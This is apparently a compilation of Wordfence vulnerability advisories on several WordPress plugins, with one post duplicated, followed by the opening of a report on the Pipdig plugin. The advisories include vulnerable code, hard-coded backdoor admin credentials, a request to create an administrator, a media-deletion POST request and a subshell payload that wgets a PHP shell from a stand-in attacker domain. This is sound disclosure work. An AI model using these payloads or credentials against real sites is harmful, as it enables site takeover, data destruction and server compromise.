Critical Vulnerability Patched in Popular Convert Plus Plugin

Description: Unauthenticated Administrator Creation
CVSS v3.0 Score: 10.0 (Critical)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Plugin: Convert Plus
Plugin Slug: convertplug
Affected Versions: <= 3.4.2
Patched Version: 3.4.3

On Friday May 24th, our Threat Intelligence team identified a vulnerability present in Convert Plus, a commercial WordPress plugin with an estimated 100,000 active installs. This flaw allowed unauthenticated attackers to register new accounts with arbitrary user roles, up to and including Administrator accounts. We disclosed this issue privately to the plugin’s development team, who released a patch just a few days later.

Convert Plus (formerly convertplug) versions up to 3.4.2 are vulnerable to attacks against this flaw. All Convert Plus users should update to version 3.4.3 immediately, as this is a critical security issue. We have released a firewall rule to protect Wordfence Premium users who may not be able to update yet, but we still recommend installing the patch. Free users will receive the new rule after thirty days.

Vulnerability In Detail

Convert Plus is a lead generation plugin used to display marketing popups, info bars, and other elements to a site’s visitors with various calls-to-action like email subscription and coupon codes. When setting up a form for handling new subscribers, administrators can define a WordPress user role to be associated with the email address provided. By default this value is None and no user is created, but the site’s owner can have these forms create new Subscriber accounts, or any other role they’d like. The exception is the Administrator role: the plugin removes it from the list of available roles when generating the dropdown menu.

global $wp_roles;
$roles    = $wp_roles->get_names();
$user_arr = array();
foreach ( $roles as $rkey => $rvalue ) {
	$user_arr [ $rvalue ] = $rvalue;
}
$first_item = array( 'None' );
$new_arr    = $user_arr;
unset( $new_arr['Administrator'] );
$new_arr = $first_item + $new_arr;

However, in vulnerable versions of the plugin, this intended user role wasn’t fetched from the database on submission. Instead, this setting was reflected in a hidden field on the plugin’s forms called cp_set_user. Because this value is supplied by the same HTTP request as the rest of the subscription entry, it can be modified by the user.

// Add subscriber as new user role to site.
$new_role = isset( $_POST['cp_set_user'] ) ? $_POST['cp_set_user'] : 'None';

if ( 'success' === $status && ! $only_conversion ) {

	if ( '1' === $sub_optin || 1 === $sub_optin ) {
		$list_name  = str_replace( 'cp_connects_', '', $data_option );
		$list_name  = str_replace( '_', ' ', $list_name );
		$page_url   = isset( $cp_settings['cp-page-url'] ) ? $cp_settings['cp-email-body'] : '';
		$style_name = isset( $_POST['cp_module_name'] ) ? esc_attr( $_POST['cp_module_name'] ) : '';
		cp_notify_sub_to_admin( $list_name, $param, $sub_email, $email_sub, $email_body, $cp_page_url, $style_name );
	}
	if ( '' !== $new_role && ( 'None' !== $new_role && 'none' !== $new_role ) ) {
		cp_add_new_user_role( $param, $new_role );
	}
}

This code calls the plugin’s function cp_add_new_user_role with the role provided in the AJAX request, which then handles the process of creating the user as directed.

Since no filtering is applied when this new subscription is processed, if an attacker submits a subscription form and changes the value of cp_set_user to “administrator”, the plugin will create an administrator user associated with the given email address. The new account is given a randomized password, but the attacker can issue a typical password reset to gain access to their rogue administrator account.

Video Demonstration

Convert Plus Plugin Vulnerability Exploit Demonstration from Wordfence on Vimeo.

Disclosure Timeline

  • May 24 – Vulnerability discovered. Notified developers privately.
  • May 28 – Patch released by developers. Firewall rule released for Premium users.
  • June 27 – Planned date for firewall rule’s release to Free users.

Well-Handled Response

Vulnerability disclosures are an unfortunate necessity, and it’s important that they’re handled appropriately by all parties involved. In recent disclosures, we’ve seen a variety of responses from the developers we’ve reached out to. For example, in January we received no response at all from a disclosure regarding the Total Donations plugin. More recently was this week’s Slick Popup vulnerability, which had been acknowledged by the developers but remains unpatched.

Conversely, the response from Convert Plus’s team was an excellent example of how to handle a vulnerability disclosure. They responded quickly to our contact, and issued a patch for the flaw within just a few days. Once the patch went live, they published their own blog post alerting their users that an important update was available. They even highlighted the update on the plugin’s CodeCanyon page.

Convert Plus’s CodeCanyon page, featuring an alert regarding the security release.

Conclusion

In this post we shared details of a critical security flaw recently patched in the popular Convert Plus plugin for WordPress. This vulnerability has been patched as of version 3.4.3 of the plugin, and it’s crucial that all affected users patch as soon as possible. We have released a firewall rule which prevents exploits against Wordfence Premium users, which will be available to free users on June 27th.

As always, we will monitor our network for activity associated with this flaw and will update you with any noteworthy campaigns we identify.

The post Critical Vulnerability Patched in Popular Convert Plus Plugin appeared first on Wordfence.

Read More

Privilege Escalation Flaw Present In Slick Popup Plugin

In April, our Threat Intelligence team identified a privilege escalation flaw present in the latest version of Slick Popup, a WordPress plugin with approximately 7,000 active installs. We notified the developers, a firm called Om Ak Solutions, who acknowledged the issue and informed us that a patch would be released.

Per our disclosure policy, we allowed 30 days for resolution of this issue before releasing details to the public. Unfortunately, the deadline has passed without a satisfactory patch by the plugin’s developers. At this time, all version of Slick Popup up to 1.7.1 are vulnerable.

In this post we’ll look at the vulnerability in question and what you should do if you’re making use of the plugin.

Subscriber+ Privilege Escalation Flaw In Support Access Feature

One feature of Slick Popup is the ability to grant support access to the plugin’s developers, Om Ak Solutions, with one click in the dashboard. This generates a new administrator account and sends an email to Om Ak Solutions with details. Two issues in this process combine to create the privilege escalation vulnerability in question.

// ADD NEW ADMIN USER TO WORDPRESS
// ----------------------------------
// Put this file in your WordPress root directory and run it from your browser.
// Delete it when you're done.
//require_once(ABSPATH . 'wp-blog-header.php');
//require_once(ABSPATH . 'wp-includes/registration.php');
// ----------------------------------------------------
// CONFIG VARIABLES
// Make sure that you set these before running the file.
$newusername = 'slickpopupteam';
$newpassword = 'OmakPass13#';
$newemail = 'poke@slickpopup.com';
// ----------------------------------------------------
// This is just a security precaution, to make sure the above "Config Variables" 
// have been changed from their default values.
if ( $newpassword != 'YOURPASSWORD' &&
	 $newemail != 'YOUREMAIL@TEST.com' &&
	 $newusername !='YOURUSERNAME' )
{
	// Check that user doesn't already exist
	if ( !username_exists($newusername) && !email_exists($newemail) )
	{
		// Create user and set role to administrator
		$user_id = wp_create_user( $newusername, $newpassword, $newemail);
		if ( is_int($user_id) )
		{
			$wp_user_object = new WP_User($user_id);
			$wp_user_object->set_role('administrator');

First, the credentials associated with this new administrative account are hard-coded into the plugin. When the user is created, it will have the username slickpopupteam and its password is OmakPass13#. Since this is a known value in all cases, it’s possible for malicious actors to assemble a list of sites making use of the plugin and occasionally test for the presence of this support user. Once logged in, they’re free to create other backdoors independent of this user.

add_action( 'wp_ajax_action_splite_support_access', 'action_splite_support_access' );
function action_splite_support_access() {
	$ajaxy = array(); 
	$errors = array(); 
	
	$todo = (isset($_POST['todo']) AND !empty($_POST['todo'])) ? $_POST['todo'] : 'createuser'; 

However, attackers with at least Subscriber access to an affected site can create this user on their own. Since the AJAX action used to generate this user doesn’t contain any capabilities checks, it can be accessed by any logged-in user. This, combined with the hard-coded credentials in the plugin, means any user with an account can grant themselves administrative access and take over a site.

During our research we identified that the user creation script used by this plugin is somewhat popular, and can be found in several GitHub gists like this one. We searched the WordPress.org plugin repository for other uses of this script and found another one of Om Ak Solution’s plugins, Contact Form 7 Spam Blocker. We included this additional plugin in our report to the developer.

Private Disclosure Timeline

  • April 22 – Vulnerability disclosed to Om Ak Solutions.
  • April 25 – WAF rule released to protect Wordfence Premium users from attacks on this flaw.
  • April 27 – Developer acknowledges issue and states a patch will be released
  • May 14 – Slick Popup version 1.7.1 released – issue unresolved in this patch.
  • May 22 – Public disclosure deadline.
  • May 25 – WAF rule released for free users.

Shortly before the writing of this article, a representative of Om Ak Solutions claimed a patch has been released for the Pro version of Slick Popup and that a patch for the free version is in progress. The reported patch of the Pro version has not been tested by the Wordfence team at this time.

Next Steps

As mentioned above, Slick Popup versions up to and including 1.7.1 are vulnerable. It is our recommendation that users of the plugin deactivate or delete the plugin until a patch is available.

However, it’s possible to deactivate the vulnerable Support Access feature on current versions of the plugin without affecting the rest of the plugin’s functionality. Doing this requires making a small change to the plugin’s files, and you should note a few things beforehand:

  • This will break the plugin’s ability to grant support access to Om Ak Solutions.
  • Any updates to the plugin will overwrite this change and reactivate the feature.
  • This will not remove an existing slickpopupteam user, legitimate or otherwise. That will need to be done manually if one is present.
  • We cannot provide support for implementing this short-term fix, nor can we assist with other issues that may arise during the process.

To prevent the creation of these users, all you need to do is comment out the line where the action_splite_support_access AJAX action is registered. In the latest version of the plugin, this is on line 523 of the file /libs/admin-pages.php.

Before:

add_action( 'wp_ajax_action_splite_support_access', 'action_splite_support_access' );

After:

//add_action( 'wp_ajax_action_splite_support_access', 'action_splite_support_access' );

Conclusion

In this post, we detailed an unpatched privilege escalation flaw in the Slick Popup plugin which allows subscribers to gain administrative access to an affected WordPress site. Because of the relatively small userbase of the plugin, and the authentication necessary to exploit it, we do not anticipate widespread attack campaigns leveraging this vulnerability. A Firewall rule to protect against attempts to exploit this vulnerability was released on April 25th and is currently available for sites running Wordfence Premium as well as the free version.

The post Privilege Escalation Flaw Present In Slick Popup Plugin appeared first on Wordfence.

Read More

OS Command Injection Vulnerability Patched In WP Database Backup Plugin

Toward the end of April, an unnamed security researcher published details of an unpatched vulnerability in WP Database Backup, a WordPress plugin with over 70,000 users. The vulnerability, which was irresponsibly disclosed to the public before attempting to notify the plugin’s developers, was reported as a plugin configuration change flaw. A proof of concept (PoC) exploit was provided which allowed unauthenticated attackers to modify the destination email address for database backups, potentially putting sensitive information in their hands.

Upon further review by our Threat Intelligence team, we determined the scope of this flaw was more severe in reality. In unpatched versions of WP Database Backup, an attacker is able to inject operating system (OS) commands arbitrarily, which are then executed when the plugin performs a database backup. Injected commands would persist until manually removed, executing each time a backup is run.

We immediately notified the plugin’s developer of this issue and deployed a new firewall rule to prevent Wordfence users from exploitation of these vulnerabilities. The vulnerabilities have been patched as of version 5.2 of WP Database Backup.

Plugin Configuration Change Vulnerability

The originally disclosed vulnerability present in WP Database Backup allows an attacker to modify a limited selection of the plugin’s internal settings. These settings were vulnerable due to inconsistencies in the way security features were added to the code–in some cases, a capabilities check would be performed or a CSRF nonce would be required, but other cases weren’t protected by these efforts.

In particular, a nonce check was required when the wp-database-backup page of a site’s admin dashboard was accessed. Unfortunately, the function used by the plugin to check for and perform settings changes was hooked into admin_init, not tied to the plugin’s own page in the dashboard. The vulnerable code would still execute on any other page under /wp-admin, allowing the nonce check to be bypassed.

if (isset($_POST['wpsetting'])) {
    if (isset($_POST['wp_local_db_backup_count'])) {
        update_option('wp_local_db_backup_count', esc_attr(sanitize_text_field($_POST['wp_local_db_backup_count'])));
    }
    if (isset($_POST['wp_db_log'])) {
        update_option('wp_db_log', 1);
    } else {
        update_option('wp_db_log', 0);
    }
    if (isset($_POST['wp_db_remove_local_backup'])) {
        update_option('wp_db_remove_local_backup', 1);
    } else {
        update_option('wp_db_remove_local_backup', 0);
    }

    if (isset($_POST['wp_db_backup_enable_htaccess'])) {
        update_option('wp_db_backup_enable_htaccess', 1);
    } else {
        update_option('wp_db_backup_enable_htaccess', 0);
        $path_info = wp_upload_dir();
        @unlink($path_info['basedir'] . '/db-backup/.htaccess');
    }


    if (isset($_POST['wp_db_exclude_table'])) {
        update_option('wp_db_exclude_table', $_POST['wp_db_exclude_table']);
    } else {
        update_option('wp_db_exclude_table', '');
    }
}
if (isset($_POST['wp_db_backup_email_id'])) {

    update_option('wp_db_backup_email_id', esc_attr(sanitize_text_field($_POST['wp_db_backup_email_id'])));
}
if (isset($_POST['wp_db_backup_email_attachment'])) {
    $email_attachment = sanitize_text_field($_POST['wp_db_backup_email_attachment']);
    update_option('wp_db_backup_email_attachment',esc_attr($email_attachment));
}
if (isset($_POST['Submit']) && $_POST['Submit'] == 'Save Settings') {
    if (isset($_POST['wp_db_backup_destination_Email'])) {
        update_option('wp_db_backup_destination_Email', 1);
    } else {
        update_option('wp_db_backup_destination_Email', 0);
    }
}

The entire code block above would run without any security checks on any admin-facing page other than the plugin’s own settings page. Since endpoints like /wp-admin/admin-post.php will trigger admin_init and return true for is_admin for unauthenticated users, an attacker can exploit this code without logging in. The original report drew attention to the email settings, which can be toggled for the plugin to send database backup files via email to a given address. In vulnerable versions, this can be switched on and pointed to an attacker-controlled address to obtain sensitive information from the site’s database.

OS Command Injection in Excluded Table Settings

One of the features in WP Database Backup allows users to define tables to be excluded from backups. These excluded tables are stored as an array, which is accessed when a new backup is performed.

public function mysqldump($SQLfilename)
{

    $this->mysqldump_method = 'mysqldump';

    //$this->do_action( 'mysqldump_started' );

    $host = explode(':', DB_HOST);

    $host = reset($host);
    $port = strpos(DB_HOST, ':') ? end(explode(':', DB_HOST)) : '';

    // Path to the mysqldump executable
    $cmd = escapeshellarg($this->get_mysqldump_command_path());

    // We don't want to create a new DB
    $cmd .= ' --no-create-db';

    // Allow lock-tables to be overridden
    if (!defined('WPDB_MYSQLDUMP_SINGLE_TRANSACTION') || WPDB_MYSQLDUMP_SINGLE_TRANSACTION !== false)
        $cmd .= ' --single-transaction';

    // Make sure binary data is exported properly
    $cmd .= ' --hex-blob';

    // Username
    $cmd .= ' -u ' . escapeshellarg(DB_USER);

    // Don't pass the password if it's blank
    if (DB_PASSWORD)
        $cmd .= ' -p' . escapeshellarg(DB_PASSWORD);

    // Set the host
    $cmd .= ' -h ' . escapeshellarg($host);

    // Set the port if it was set
    if (!empty($port) && is_numeric($port))
        $cmd .= ' -P ' . $port;

    // The file we're saving too
    $cmd .= ' -r ' . escapeshellarg($SQLfilename);

    $wp_db_exclude_table = array();
    $wp_db_exclude_table = get_option('wp_db_exclude_table');
    if (!empty($wp_db_exclude_table)) {
        foreach ($wp_db_exclude_table as $wp_db_exclude_table) {
            $cmd .= ' --ignore-table=' . DB_NAME . '.' . $wp_db_exclude_table;
            // error_log(DB_NAME.'.'.$wp_db_exclude_table);
        }
    }

    // The database we're dumping
    $cmd .= ' ' . escapeshellarg(DB_NAME);

    // Pipe STDERR to STDOUT
    $cmd .= ' 2>&1';
    // Store any returned data in an error
    
    $stderr = shell_exec($cmd);

    // Skip the new password warning that is output in mysql > 5.6
    if (trim($stderr) === 'Warning: Using a password on the command line interface can be insecure.') {
        $stderr = '';
    }

    if ($stderr) {
        $this->error($this->get_mysqldump_method(), $stderr);
        error_log($stderr);
    }

    return $this->verify_mysqldump($SQLfilename);
}

The backups themselves are performed by building a mysqldump command to be executed via shell_exec. The plugin uses its own settings and the site’s database credentials to assemble the full command, including the array of excluded tables.

$wp_db_exclude_table = array();
$wp_db_exclude_table = get_option('wp_db_exclude_table');
if (!empty($wp_db_exclude_table)) {
    foreach ($wp_db_exclude_table as $wp_db_exclude_table) {
        $cmd .= ' --ignore-table=' . DB_NAME . '.' . $wp_db_exclude_table;
        // error_log(DB_NAME.'.'.$wp_db_exclude_table);
    }
}

As seen in the relevant snippet above, the array of excluded tables is iterated over to append --ignore-table= arguments to the final mysqldump command. However, since these values are inserted directly into an OS command without sanitization, and an attacker can modify the values of this array by exploiting the configuration change vulnerability above, this can be abused to execute arbitrary commands on the site’s host server.

The simplest way to demonstrate this flaw is via a basic Bash subshell. If, for instance, an attacker has defined the value $(wget evildomain.com/shell.txt -O shell.php) as an “excluded table”, then the commands within the parentheses will be executed before the actual mysqldump command (which will most likely fail, since the returned value from the subshell would be invalid for an --ignore-table argument). In this example, a malicious PHP shell would be pulled down from the attacker’s site and stored as “shell.php” on the victim’s server. This would happen every time a backup was performed with the plugin, either manually or scheduled, until the site’s owner reset the excluded table configuration.

Disclosure Timeline

  • April 24 – Original public disclosure of configuration change flaw. Wordfence identifies OS command injection flaw and reaches out to developer.
  • April 25 – Wordfence releases firewall rule to Premium users to prevent exploitation of both flaws.
  • April 27 – Developer acknowledges issue.
  • April 30 – Patch released
  • May 25 – Firewall rule released for free users.

Conclusion

In today’s post, we detailed a previously undisclosed OS command injection flaw present in the WP Database Backup plugin. This flaw has been patched as of version 5.2 and we recommend affected users ensure they’ve updated to the latest available version. Sites running Wordfence Premium have been protected from exploitation of these flaws since April 24th. Sites running the free version received the firewall rule update on May 25th.

The post OS Command Injection Vulnerability Patched In WP Database Backup Plugin appeared first on Wordfence.

Read More

Unauthenticated Media Deletion Vulnerability Patched In WooCommerce Checkout Manager Plugin

Earlier this week, a security update was released for the WooCommerce Checkout Manager plugin for WordPress. This update fixes two distinct vulnerabilities: an arbitrary file upload flaw present in certain configurations, and a flaw allowing attackers to delete media files from affected sites. The plugin’s users are advised to install the latest available version (4.3 at the time of this writing) as soon as possible to prevent exploitation of the flaws patched in this update.

The file upload vulnerability was initially made public in a report by an unnamed security researcher, which was irresponsibly published on April 23rd without privately notifying the plugin’s author. In the process of verifying the report, our team identified an additional media deletion flaw which needed to be patched. We reached out to the plugin’s developer the same day to begin the disclosure process, and have deployed a firewall rule to protect our users from these exploits.

In this post we’ll be sharing details regarding both of these flaws, with particular focus on the media deletion flaw which has yet to be reported.

Conditional Arbitrary File Upload

The initially disclosed flaw in WooCommerce Checkout Manager allowed unauthenticated users to upload arbitrary files to affected sites in certain configurations. Specifically, the plugin’s “Categorize Uploaded Files” option needed to be active for this flaw to be exploitable.

With the plugin active, a site’s customers have the ability to upload files associated with their orders during the checkout process. Without the “Categorize Uploaded Files” option enabled, the plugin made use of WordPress’s built-in media upload handler, which is generally effective at keeping out malicious scripts. However, when the option is enabled, it directly uploads the file without any security checks, allowing dangerous files to be uploaded.

Wordfence firewall users, both premium and free, are protected from malicious script uploads.

Unauthenticated Media Deletion Flaw

While testing reports of the file upload flaw above, our team discovered a flaw which would allow attackers to delete media files from the affected site.

Alongside the file upload feature, the plugin is able to delete the attachments users have uploaded at checkout. In unpatched versions, this deletion feature allowed unauthenticated users to delete any media file, not just those associated with a user’s checkout uploads.

function update_attachment_wccm_callback() {

	global $post, $wpdb, $woocommerce;

	$array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) );
	$array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) );
	$attachment_ids = array_diff( $array1, $array2 );

	if( isset( $_POST['wccm_default_keys_load'] ) ) {
		if( !empty( $attachment_ids ) ) {
			foreach( $attachment_ids as $key => $values ) {
				wp_delete_attachment( $attachment_ids[$key] );
			}
		}
		echo __('Deleted successfully.','woocommerce-checkout-manager');
	}
	die();

}
add_action( 'wp_ajax_update_attachment_wccm', 'update_attachment_wccm_callback' );
add_action( 'wp_ajax_nopriv_update_attachment_wccm', 'update_attachment_wccm_callback' );

The above function, update_attachment_wccm_callback, is hooked into the update_attachment_wccm AJAX action. The function is only intended for Administrator and Shop Manager users, but was available to unauthenticated users due to its additional nopriv_ registration and a lack of capabilities checks. In the function, two POST body parameters are converted to arrays and then compared. Any media attachments with IDs present in $_POST['wccm_default_keys_load'] but not in $_POST['product_image_gallery'] are deleted via the built-in wp_delete_attachment function. This not only deletes the associated file, but removes its metadata from the WordPress media library.

An attacker with motivation to take down a site’s images and other media could do so by identifying a set of media IDs, or simply iterating over a wide range of values, and assigning them to wccm_default_keys_load as a comma-delimited string. Because the ternary operation on line 2176 returns an empty string by default, we don’t need to set a product_image_gallery parameter for comparison unless we wanted to exclude specific IDs for some reason.

For example, to delete any media files with IDs from 1 to 10, you’d send a POST request to http://example[.]com/wp-admin/admin-ajax.php?action=update_attachment_wccm with the POST body wccm_default_keys_load=1,2,3,4,5,6,7,8,9,10.

Next Steps

The plugin’s author, Visser Labs, has patched these issues in version 4.3 of WooCommerce Checkout Manager. It is advised that all sites making use of the plugin update as soon as possible. For sites which haven’t patched, a new Wordfence firewall rule has been deployed to prevent abuse of the media deletion flaw. Premium users have immediate access to this new rule, and free users will gain access in thirty days. Both free and premium users already benefit from built-in rules which offer protection from the file upload vulnerability as well.

At this time, we have not identified significant exploitation of either of these vulnerabilities. We will continue to monitor for related activity and issue further reports if necessary.

Thanks to Ram Gall from the Defiant QA team for the discovery of the media deletion vulnerability.

The post Unauthenticated Media Deletion Vulnerability Patched In WooCommerce Checkout Manager Plugin appeared first on Wordfence.

Read More

Unauthenticated Media Deletion Vulnerability Patched In WooCommerce Checkout Manager Plugin

Earlier this week, a security update was released for the WooCommerce Checkout Manager plugin for WordPress. This update fixes two distinct vulnerabilities: an arbitrary file upload flaw present in certain configurations, and a flaw allowing attackers to delete media files from affected sites. The plugin’s users are advised to install the latest available version (4.3 at the time of this writing) as soon as possible to prevent exploitation of the flaws patched in this update.

The file upload vulnerability was initially made public in a report by an unnamed security researcher, which was irresponsibly published on April 23rd without privately notifying the plugin’s author. In the process of verifying the report, our team identified an additional media deletion flaw which needed to be patched. We reached out to the plugin’s developer the same day to begin the disclosure process, and have deployed a firewall rule to protect our users from these exploits.

In this post we’ll be sharing details regarding both of these flaws, with particular focus on the media deletion flaw which has yet to be reported.

Conditional Arbitrary File Upload

The initially disclosed flaw in WooCommerce Checkout Manager allowed unauthenticated users to upload arbitrary files to affected sites in certain configurations. Specifically, the plugin’s “Categorize Uploaded Files” option needed to be active for this flaw to be exploitable.

With the plugin active, a site’s customers have the ability to upload files associated with their orders during the checkout process. Without the “Categorize Uploaded Files” option enabled, the plugin made use of WordPress’s built-in media upload handler, which is generally effective at keeping out malicious scripts. However, when the option is enabled, it directly uploads the file without any security checks, allowing dangerous files to be uploaded.

Wordfence firewall users, both premium and free, are protected from malicious script uploads.

Unauthenticated Media Deletion Flaw

While testing reports of the file upload flaw above, our team discovered a flaw which would allow attackers to delete media files from the affected site.

Alongside the file upload feature, the plugin is able to delete the attachments users have uploaded at checkout. In unpatched versions, this deletion feature allowed unauthenticated users to delete any media file, not just those associated with a user’s checkout uploads.

function update_attachment_wccm_callback() {

	global $post, $wpdb, $woocommerce;

	$array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) );
	$array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) );
	$attachment_ids = array_diff( $array1, $array2 );

	if( isset( $_POST['wccm_default_keys_load'] ) ) {
		if( !empty( $attachment_ids ) ) {
			foreach( $attachment_ids as $key => $values ) {
				wp_delete_attachment( $attachment_ids[$key] );
			}
		}
		echo __('Deleted successfully.','woocommerce-checkout-manager');
	}
	die();

}
add_action( 'wp_ajax_update_attachment_wccm', 'update_attachment_wccm_callback' );
add_action( 'wp_ajax_nopriv_update_attachment_wccm', 'update_attachment_wccm_callback' );

The above function, update_attachment_wccm_callback, is hooked into the update_attachment_wccm AJAX action. The function is only intended for Administrator and Shop Manager users, but was available to unauthenticated users due to its additional nopriv_ registration and a lack of capabilities checks. In the function, two POST body parameters are converted to arrays and then compared. Any media attachments with IDs present in $_POST['wccm_default_keys_load'] but not in $_POST['product_image_gallery'] are deleted via the built-in wp_delete_attachment function. This not only deletes the associated file, but removes its metadata from the WordPress media library.

An attacker with motivation to take down a site’s images and other media could do so by identifying a set of media IDs, or simply iterating over a wide range of values, and assigning them to wccm_default_keys_load as a comma-delimited string. Because the ternary operation on line 2176 returns an empty string by default, we don’t need to set a product_image_gallery parameter for comparison unless we wanted to exclude specific IDs for some reason.

For example, to delete any media files with IDs from 1 to 10, you’d send a POST request to http://example[.]com/wp-admin/admin-ajax.php?action=update_attachment_wccm with the POST body wccm_default_keys_load=1,2,3,4,5,6,7,8,9,10.

Next Steps

The plugin’s author, Visser Labs, has patched these issues in version 4.3 of WooCommerce Checkout Manager. It is advised that all sites making use of the plugin update as soon as possible. For sites which haven’t patched, a new Wordfence firewall rule has been deployed to prevent abuse of the media deletion flaw. Premium users have immediate access to this new rule, and free users will gain access in thirty days. Both free and premium users already benefit from built-in rules which offer protection from the file upload vulnerability as well.

At this time, we have not identified significant exploitation of either of these vulnerabilities. We will continue to monitor for related activity and issue further reports if necessary.

Thanks to Ram Gall from the Defiant QA team for the discovery of the media deletion vulnerability.

The post Unauthenticated Media Deletion Vulnerability Patched In WooCommerce Checkout Manager Plugin appeared first on Wordfence.

Read More

Pipdig Update: Dishonest Denials, Erased Evidence, and Ongoing Offenses

In last week’s post, we reported on some concerning code identified in the Pipdig Power Pack (P3) plugin. The plugin, which is installed alongside WordPress themes sold by Pipdig, was found to contain a number of suspicious or malicious features. Among these features were a remote “killswitch” Pipdig could use to destroy sites, an obfuscated function used to change users’ passwords, and code which generated hourly requests with the apparent intent of DDoSing a competitor’s site.

In the days since we published that report, Pipdig has taken a series of increasingly questionable steps in their attempts to mitigate the fallout of their actions. Their team has issued baseless accusations that facts have been fabricated, collusion between their competitors had taken place, and that no wrongdoing of any sort had occurred.

These assertions stand in direct conflict with their actions. They’ve pulled down incriminating files from their sites, pushed undocumented updates to their plugins to remove additional malicious code, and have attempted to rewrite history by modifying dates of changelog entries. Then, perhaps most egregiously, Pipdig took down the Bitbucket repository containing a great deal of evidence of these actions. All of this had been done while an entire community of WordPress developers watched.

In today’s followup, we’ll use Pipdig’s official responses to recap their documented offenses. Then, we’ll discuss the timeline of events in the deployment and subsequent removal of Pipdig’s malicious code. After that, we’ll look at the evidence they’ve made efforts to destroy. Last, we’ll reveal new evidence that Pipdig’s suspected DDoS campaign against their competitor had still been active until April 1st, using Blogger themes.

Recap: Pipdig’s Words vs. Pipdig’s Code

In the uproar following the publication of their missteps, Pipdig released (and subsequently updated) a statement with the intent of dispelling the controversy. Unfortunately, instead of admitting fault and apologizing to their users, Pipdig leaned into a series of accusations and denials.

Let’s take a look at the individual points of these responses, and why each fails to help Pipdig’s cause. We’ll avoid using code samples in this section, though the Timeline section that follows will contain code as evidence.

Unauthenticated WordPress Database Deletion

In our report, we explained how a cron (scheduled process) built into the P3 plugin was effectively asking Pipdig’s server every hour for permission to destroy the database of the site it’s running on. Pipdig hasn’t denied that the code existed, but has attempted to “rebrand” the behavior in a number of ways.

In total, we’ve received three unique answers from Pipdig about this issue. We have yet to confirm which is actually authoritative. The answers, in the order Pipdig made them, are:

Answer 1: This was an anti-piracy feature but Pipdig never used it.
Source: Email response from Phil Clothier

On Thursday, March 28, we reached out to Pipdig’s team for comment on the first set of issues we had confirmed in their plugin. We quickly received a response from Phil Clothier, which among other statements contained the following:

Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to try to stop this at the time. […] The function was never used.

Answer 2: It doesn’t destroy the database. It’s there to reset a site to defaults. We use it with permission from site owners.
Source: Pipdig’s public response, published March 29th.

Pipdig’s immediate public response told a different story. After claiming that the claims were “not based on reality”, Pipdig asserts that to “clear” database tables is similar behavior to what would be found in a backup plugin.

“contains a ‘kill switch’ which drops all database tables”

This is the most serious accusation of all, and not one which we take lightly. The portrayal of this feature is not based on reality. There is a function in the plugin which can be used to clear database tables, much like a backup or standard reset plugin. To confirm, we do not have the ability to “kill” a site, nor would we ever, ever want to do that! The function is in place to reset a site back to defaults, however it is only activated after being in touch with the site owner.

There are three problems in this short reply.

First a “default” WordPress site is no different than a destroyed one. The next visitor to the “defaulted” site would be prompted with a setup page and have the ability to install themselves as the administrator in the newly generated WordPress database.

Second, any honest plugin developer providing a legitimate means for a user to destroy their own database (whether that’s a good idea or not is a different story) would leave that choice strictly to the user. Instead of offering a user-facing button surrounded by “Are you sure you want to delete this entire database?” warnings, the P3 plugin silently asks their servers once every hour if the database should be vaporized.

Third, this answer conflicts with the previous one. Is this code for anti-piracy or for a “factory reset”? Has it ever been used or not?

Answer 3: It was an anti-piracy feature after all, we did use it, and it was effective.
Source: Pipdig’s amended response, updated March 31st.

To our great surprise, Pipdig followed up two days later by issuing a direct contradiction to an assertion made on the very same page.

Why did this function exist?

The function was available in the pipdig Power Pack in July last year, when a serious incident occurred:

A 3rd party was able to download all of our themes illegitimately and post them on a clone of our own site. This included previews of our themes and the ability to purchase them. We were first alerted to this by people which had purchased a pipdig theme from there, but were finding that certain features did not work correctly. After investigation, we found that the victim had purchased the theme from the 3rd party, thinking it was us. The 3rd party not only gained the financial benefit of the theme payment, but also used it as a way to inject malware and ads into the victim’s site. The reset function was put in place in order to remove the 3rd party’s ability to host preview sites with our themes. It worked, and they have since disappeared. The function was then removed in a later version of the plugin.

In their final response on the subject, Pipdig reverts to calling it an anti-piracy feature. They claim it was introduced in July 2018, following a case of stolen theme files and licenses, and that “It worked”. This claim, true or not, stands against Phil’s original statement in his email that the feature was never actually used. Furthermore, they end this statement with the line “The function was then removed in a later version of the plugin.”

The two statements regarding the timeline of these events stand out. First, their claim that the database deletion code was introduced in 2018 is false, which we’ll discuss in more detail in the “Timeline” section of this post. Next, they leave the statement “a later version of the plugin” ambiguous, likely to sidestep the fact that it was removed days prior, and only after they were contacted.

Overall though, despite the firestorm of controversy surrounding this database deletion feature, it remains one of the less-interesting chapters of this story. The code is dangerous, and Pipdig’s difficulty in explaining it is striking, but there are more serious concerns in play.

Unauthenticated Password Reset

Our first report additionally detailed code built to reset a user’s WordPress password. While their responses to this have been consistent, they haven’t exactly been satisfactory.

Do you have the ability to log in to any site using a pipdig theme without permission?

No. If we need to log in to provide assistance with an issue, we will ask for it in the support request. This is stored securely whilst the ticket is open and not shared with any 3rd parties.

A simple “No.” was the extent of their refutation to this claim. This is unfortunate, because the code recently deleted from their plugin strongly disagrees.

Suspected DDoS Against A Competitor

One of the larger points of contention in this story pertains to code generating suspicious requests which originally targeted a competitor’s site. Once per hour, this code fetched the contents of a file hosted by Pipdig, which contained a target address for a subsequent outgoing request from the affected site’s server. Until immediately after Pipdig was contacted, the file hosted by Pipdig contained the admin-ajax.php URL of one of their direct competitors’ WordPress sites.

“is using other blogger’s servers to perform a DDoS on a competitor”

This function is used to pass the theme’s license key to an external server, which then passes that data to our main site at pipdig.co. We use the Cloudflare CDN to make sure the data is sent securely and as quickly as possible regardless of where your site is hosted globally. This data includes what domain the theme is installed on, as well as a link to the “Author URL” from the theme’s readme.txt file. This is used to activate a theme’s license key.

In their response, Pipdig claims these requests were used to activate a theme’s license key. They reported that these requests contain data like the domain of the site and the Author URL field from their theme’s readme.txt file.

